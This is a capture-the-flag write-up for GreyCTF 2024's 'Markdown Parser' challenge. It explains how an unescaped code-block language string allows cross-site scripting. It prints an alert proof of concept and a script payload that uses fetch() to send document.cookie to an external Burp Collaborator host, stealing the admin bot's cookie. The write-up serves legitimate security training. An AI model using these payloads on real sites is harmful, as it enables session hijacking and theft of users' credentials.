> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2024/greyctf-2024/markdown-parser.md).

# Markdown Parser

## Challenge Description

I built this simple markdown parser. Please give me some feedback (in markdown), I promise to read them all. Current features include: bold, italics, code blocks with syntax highlighting!

Author: ocean

<http://challs.nusgreyhats.org:33335>

<https://storage.googleapis.com/greyctf-challs/dist-markdown-parser.zip>

***

## Code Analysis

Looking at the site, it seems to be relatively straight forward, just a markdown parser.

<figure><img src="/files/HVOUJ9hM7DHkOqhlV4qi" alt=""><figcaption></figcaption></figure>

Markdown parser is known to be vulnerable to XSS without proper sanitization and escaping, as it reflects your input, as shown below.

<figure><img src="/files/n7Bly8WUfx037yEwyU7g" alt=""><figcaption></figcaption></figure>

Looking at the code where they parses the markdown.

<figure><img src="/files/z0oCfieXnVQacum7rUyK" alt=""><figcaption><p>markdown.js</p></figcaption></figure>

We can see that they check if its a codeblock as indicated by ` ``` `

If its a code block, it will append the language onto the htmlOutput. Note that they also attempt to perform sanitization through the `escapeHtml` function if it is not in a code block.

<figure><img src="/files/VfqSwgkdEUTpz2U0ORDS" alt=""><figcaption></figcaption></figure>

The function replaced ampersand, greater than, lower than, double quotes, and single quotes with their respective HTML entity codes. However, in line 18, we noticed that the language was appended onto the htmlOutput without any escaping.

<figure><img src="/files/jRvlcOpIZF859RV88Ogz" alt=""><figcaption></figcaption></figure>

After parsing the markdown, we can then submit the Markdown to the admin bot at `/feedback` endpoint. Now that we have dissected the application, we are able to attempt to exploit the potential cross site scripting that was identified.

***

## Exploit

Firstly, we used `<script>alert(`document.domain`)</script>` as a proof of concept that we are able to perform XSS.

{% code title="Payload" %}

````javascript
```"> <script>alert(document.domain)</script>
````

{% endcode %}

<figure><img src="/files/U27rLKD7fFKIwHf4VnTD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YUUw0pmcny20R42XOWQU" alt=""><figcaption></figcaption></figure>

We are able to get the XSS working.

So lets modify our payload to try and steal the admin cookie.

{% code title="Payload" overflow="wrap" %}

````javascript
```"> <script>fetch('http://d9nzvl3vlaa0mvl0ixdml5g4zv5otjh8.oastify.com', {method: 'POST', mode: 'no-cors', body:document.cookie }); </script>
````

I used BurpSuite collaborator to receive the request, and BurpSuite repeater the send it.

<figure><img src="/files/7UYlmDB1XF1lUyBLLAxz" alt=""><figcaption><p>BurpSuite Repeater Tab</p></figcaption></figure>

After waiting for a bit, I managed to receive the request to collaborator, and able to retrieve the flag successfully.

<figure><img src="/files/lvls8IisZjrEDfwOlRuv" alt=""><figcaption><p>BurpSuite Collaborator Tab</p></figcaption></figure>

Flag: grey{m4rkd0wn\_th1s\_fl4g}
